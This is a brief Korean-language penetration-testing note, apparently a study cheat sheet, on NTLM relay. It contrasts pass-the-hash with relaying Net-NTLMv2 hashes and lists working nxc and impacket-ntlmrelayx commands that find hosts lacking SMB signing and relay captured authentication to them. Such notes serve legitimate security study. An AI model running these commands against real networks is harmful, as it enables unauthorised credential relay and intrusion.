<aside>

• NT Hash: SAM 파일이나 LSASS 메모리에서 뽑아낸 해시는 PtH 가능.
• Net-NTLMv2: Responder 등으로 가로챈 네트워크 해시는 Challenge-Response 과정이 포함 되어 있어 그대로 인증에 재사용할 수 없고, 오직 Relay만 가능. </aside>

Relay 대상 확인

• 네트워크 내에 SMB Signing 이 false 인 서버를 찾는다.

nxc smb 192.168.245.0/24 --gen-relay-list targets.txt

ntlmrelayx.py 실행

impacket-ntlmrelayx -tf targets.txt -smb2support